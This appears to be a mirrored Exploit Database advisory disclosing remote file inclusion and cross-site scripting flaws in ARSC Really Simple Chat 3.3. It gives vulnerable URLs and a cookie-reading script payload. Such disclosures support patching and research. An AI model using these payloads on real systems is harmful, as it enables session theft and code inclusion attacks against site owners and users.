ARSC Really Simple Chat 3.3 – Remote File Inclusion / Cross-Site Scripting

• Exploit Database
• 29 阅读

• 作者： Zer0 Thunder
  日期： 2010-06-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14050/

• => ARSC Really Simple Chat V3.3 Remote File Inclsion & Cross Site Scripting Vulnerability
  => Author	: Zer0 Thunder
  => Home		: http://colombohackers.com
  => Download	: http://sourceforge.net/projects/arsc/
  => Date 	: 06/25/2010
  
  
  Remote File Inclusion
  ---
  
  http://localhost/arsc3.3-pre2/base/dereferer.php?arsc_link=[RFI]
  
  
  XSS Call
  --------
  
  http://localhost/arsc3.3-pre2/base/admin/login.php?arsc_message=[XSS]
  
  
  Example :
  http://localhost/arsc3.3-pre2/base/admin/login.php?arsc_message=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E